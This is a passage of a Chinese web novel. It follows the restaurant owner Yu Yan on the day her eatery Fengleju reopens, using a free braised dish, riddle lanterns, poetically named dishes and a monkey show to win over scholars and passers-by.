盘边靠近鱼嘴的地方，垂下了一枚细细的“金钩”。 虞嫣最后调整了金钩的位置，交待了柳娘子两句。 她是冲着今日客满做的准备，厨房必然需要多一位帮手，柳思慧是她在舟桥夜市卖巧果认识的归家同路人，也是烹饪好手。 “阿灿，进来帮忙，把卤煮搬出去。” “这就来。” 阿灿推开进来，与虞嫣一左一右，搬起了灶台上熬了大半宿的一口双耳大锅。 大锅沉重，里头装得满满当当。 行走之间，木头锅盖的边缘飘出一缕喷香热气。 这锅被虞嫣叫做“十里香”的卤煮，被抬到了丰乐居门外，架到板凳上。 滚烫湿润的木头锅盖掀开。 一股浓烈酣畅的奇异香味，像一只无形的霸道大手，顺着斜风雨雾，把整条街道上每个行人的嗅觉都扼住了。它异常醇厚，却包容温暖，在微凉秋雨中，勾起了行路人对家的想念。 想吃一点热的，想在温暖舒适的地方，坐下来，叫满身疲惫暂时落地。 原来只是潦草张望的街头路人，纷纷停下脚步，打量这家在盛安街上显得普通的食肆。 有人记得它在三天前开业过，隐约是个拍苍蝇的样子。 有人在那锅卤煮前踌躇，“小二哥，这怎么卖？” “嘿，不要一个铜板啊！这位客官，快进来坐！” 阿灿卯足了劲头吆喝，“丰乐居开业咯，进店就送香喷喷热腾腾的卤煮一碗哦！” 伙计过于热情的笑容，急切得想要拉人进去的手势，反而叫食客们观望起来。 众所周知，白食背后都有价码，食肆里实在太空，第一个踏进去的人，需要有踩坑的觉悟。 万一是家黑店呢？ 万一不好吃还贵呢？ “我赌一锭松烟墨，定然是为君子慎独，守心而不受惑。” “你舍得啊？供在书箱里连墨匣都早晚擦八百遍。” “浑说，哪有这么多遍……” 属于年轻人的活力嬉笑，透过细密雨雾，从盛安街尾传来。插科打诨的哄笑由远及近，打破阿灿和一群潜在食客的僵持对望。 只见一群身穿澜衫的书生，如鱼群贯入，眨眼间来到了丰乐居牌匾下。 领头人是里头最矮，也年纪最小的。 小公子唇红齿白，华服锦衣，腰佩一根碧玉雕成的湖笔，那眉那眼生得像观音座下灵气逼人的小仙童，身侧长随给他打一把青绸伞，亦步亦趋，生怕他被淋到了一个衣角。 小公子看向丰乐居牌匾，再朝阿灿规规矩矩地一拱手。 “敢问小二哥，这里就是帖子上的丰乐居吗？” 小仙童白皙的手，从袖中掏出一张蹭得有些脏污的帖子，阿灿忙不迭答应了，“是是是，出这谜题的正是我们掌柜虞娘子。小公子，里面请。” 小仙童点头，一群儒生跟着他，浩浩荡荡地踏进去。 他们不像是来食肆吃饭的，像是来踏青的，脸上带了些兴奋与热切，才一踏进去，就被满堂垂落的灯笼吸引了目光。这些灯笼都画了极简的画像，提了笔墨二三。 邗氏子长庚，秋夜拜师。 邗家郎弱冠，与崔尚书千金定亲。 春闱揭榜，邗家郎位列二甲。 …… 每一盏灯笼都像故事的一章回，把面目模糊的高官子弟所经历的重要事件补全了。 蔡小郎君眼眸亮闪闪地端详白纱灯罩上的画儿。 他昨日在樊山书院的诗墙前捡到了这个帖子，琢磨了一会儿谜底，就拿去问敬义斋的师兄。 阿爹是国子监祭酒，为了避嫌，把自己放到了樊山书院入读。 这注定了所有由他提出的疑惑，都会得到师兄们最热忱的答复。然而，师兄们对谜题的意见不一，争执之下，给隔壁志道斋的学生听见了，他们也加入了辩论。 蔡小郎君不在乎“志与真”孰胜孰负。 他只觉得新鲜，好玩，传奇故事比夫子讲的大条道理有趣多了。 但他身后的师兄兼堂兄蔡明喆很在乎。 “掌柜的，我们为此已争论了一日一夜。你这帖子，最好是真的有个谜底。” 虞嫣踩在月牙凳上，正撑着灯竿，挂起最后一盏灯笼。 她小巧莹润的脸盘从灯后露出来，浅浅一笑，按捺不住发问的蔡明喆不料掌柜是个这么年轻秀丽的娘子，愣怔一瞬，面上浮现了几分窘迫。 “诸君莫急，谜底不在灯笼上，也不在我口中，就在丰乐居的菜单里。” 虞嫣不紧不慢，踏下了月牙凳，掀开了柜台后用红布遮盖的菜牌子，“诸君用饭过后，可在墙边空白灯罩上留下墨宝，撰写心中邗长庚的故事与最终结局。丰乐居将与象居书肆联合，广邀书客评议，优胜者将获赠丰乐居的三套席面，秋日宴、新岁宴、春闱金榜题名时的龙门宴。” “即便没有被评选上，但凡参与，今日的饭食资费都减免三分。” 众人目光聚集在了菜牌子上。 金莲映雪。 寒梅照砚。 反钩鲈鱼。 素尘归碗。 …… 菜牌子后头跟着价格，比普通酒肉食肆贵不少，却是樊山书院学子们吃起来不算心痛的。 除了反钩鲈鱼，别的看不出到底是什么菜，反而更引人猜想，像是提示谜底的线索，又像是那一盏盏灯笼故事的写照。 有点意思。 蔡明喆一撩澜衫下摆，找了个位置坐下，冲着阿灿敲了敲桌面。 “一道反钩鲈鱼，一道素尘归碗。” 蔡小郎君乐滋滋地坐到了他对面，两条腿悬空荡了荡，“那我再添一道金莲映雪。” 长随连忙掏出手巾，把本就一尘不染的桌面再反复擦拭。 反钩鲈鱼是主菜。 后厨待命的柳思慧很快把虞嫣一早做好的鱼肴呈上来。 精美，扎实，色香味俱全，超出平价食肆的水准。 蔡明喆看着那道菜，拾起筷子，夹走了几块鱼肉，意外见鱼腹之中还有乾坤，是一把干炒香藜实。从昨日蔡小郎君捡到了故事帖开始，樊山书院的学子就分了几种观点。 有人以为世人处世，如临钩在渊之鱼，鱼不吞饵，是为慎独不诱惑，成君子之大我。 有人以为游鱼逍遥无拘，心无挂碍，人亦贵在虚静自然，化身忘我，而独得真乐。 蔡明喆则以为，人当循本真之心，鱼不吞饵是为求生，我若非我，当是回归了真我，回归了心本自然，故事里的高官之子，是抛下了功名利禄、显赫姻亲，去伪存真，追寻本心之所在。 这鱼腹内里所藏，岂非正是印证？ 他若有所思地一笑，遥指与他针锋相对的同窗，“时渺兄，你的打赌，要输给我了。” 陈时渺岂能甘愿，当即招呼相熟同窗，纷纷落座，催促阿灿上菜。 “前面四道菜，都给先传上了，我看看。” 虽是借了风雅名字，花招噱头，菜色的用料与烹饪都费了虞嫣的十足功夫。 学生们起先还有心思坐而论道，等菜肴入口后，好些人忘了笔墨念头，“小二哥，我的米饭呢？快上啊，这么好吃的菜都要凉了。” “客官莫急，我来了！” 阿灿端着一锅熟饭飞奔出来。 三刻钟前还空荡荡的食肆，霎时沸腾起来。 闲置桌椅坐满了幞头澜衫的书生，阿灿和柳娘子不停地往返于大堂和后厨之间，原本被卤煮香味吸引的，还在观望的百姓，看见了保障，眼尖地抢步进来，霸占了最后两张空桌。 “你们说送卤煮的啊，我们就要个素尘归碗，再加一碗米饭。” 这个最便宜，听起来就是素菜，搭上香喷喷的卤煮，就是一顿不错的饭食了。 丰乐居至此客满。 没挤上空位的路人在门外围拢。 一刻钟 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“他不会在休整时来。” 她了解他爹，这样钻空子，阿爹会觉得跌份儿，不会喜欢，至少，他不会在一个违背过自己的女儿面前这样做，而且，“还有别的客人来补漏。” 阿灿茫然：“谁？” 虞嫣灵眸一眨，“耍猴的。” 是真的耍猴。 午市焦头烂额应付完了，丰乐居储备的食材耗尽，大门半掩，不得不进行晚市前的休整。 阿灿揣着钱袋子，正要去菜市口补货。 门外一声“咚咚锵”，把他震得一懵。 一只小猴子身穿红金短褂，两只大圆眼珠黑溜溜，水汪汪，在老艺人的一声声指令下，做出各种滑稽古怪的动作。丰乐居前，因为休市而散开的队伍，又围拢起来。 有年轻妇人抱着孩子来，孩子咯咯笑，吸引了更多街头乱跑的孩童。 有挑着根扁担的伙夫，挑来了两箩筐香得沁人心脾的早桂，随手派发给每个被热闹吸引来的男女老少。 阿灿的肩膀被谁重重拍了一下。 他转头看见给自己介绍了这份差事的周老三：“表叔！” 周老三笑起来，两撇八字胡抖动，“虞娘子呢？帮我跟她说一声，总算是不负所托！” 不用阿灿的传话，虞嫣也听到了。 铜锣声很吵闹，咚咚锵地传入后厨，传到了她的耳朵里。 ——“单打独斗大多惨败，你要向所有可能对你伸出援手的人索要。” 最可能对她伸出援手的，是日常就在盛安街头走动和谋生，曾与她一同在丰乐居这间铺子里躲过中元节那场危险动乱的人。 “虞嫣，你真的要请人，如果日后生意还这样火爆。” 柳思慧瘫在一张草席上，底下是临时并起来的几张长凳，她累得再拿不动铁勺，慢慢竖起了两根手指，“起码加一个伙计，一个厨娘当副手。” 虞嫣则直接坐在了后厨门槛上，脑袋挨着门槛。 “我的目标是，先熬过今日。” * 夜幕之下，盛安街灯火通明，喧嚣不输白日。 丰乐居内，顶梁垂悬众多疏密有致的灯笼，上头墨迹悠鲜亮黑润，是一个个才成形的故事。 虞嫣送走了新一批高谈阔论，文兴正盛的学子，抬头去看仁和店二楼。 花窗边早就空荡荡的，不见她爹虞成仁的身影。 她爹没有过来店里。 这是一种不愿意低头承认，却不得不默认的妥协。 虞嫣吐出了胸臆里憋着的那口气，笑了起来，满身疲惫被入夜的秋风清扫了一空，她的手掌和心头都是热的，被某种名为胜利的情绪充盈着。 身后的丰乐居。 阿灿阖上最后一个菜牌子，向零星食客表示菜品全部售罄。 柳思慧从后厨出来，一起收拾食客们风卷云残后留下的碗碟。 打烊之后，虞嫣给两人封了沉甸甸的红封。 “今日都辛苦了，要一起夜宵，小酌两杯吗？我请客。” 阿灿和柳思慧同时摇头，两人脸上都有一种快要灵魂出窍的麻木。 虞嫣笑，摆摆手，放过了二人，她为柳思慧雇了一架驴车，然后独自绕路去了盛安街西边的打酒铺子，“掌柜的，要两壶桂花沉香酒。” 这一日归于沉寂时，头脑还在不安躁动。 她不介意在蓬莱巷关起门来独酌。 但在这之前，虞嫣的一双杏眼光彩熠熠，逐一扫视盛安街头路过的巡逻兵卫。 徐行，你看到了吗？ 我打赢了。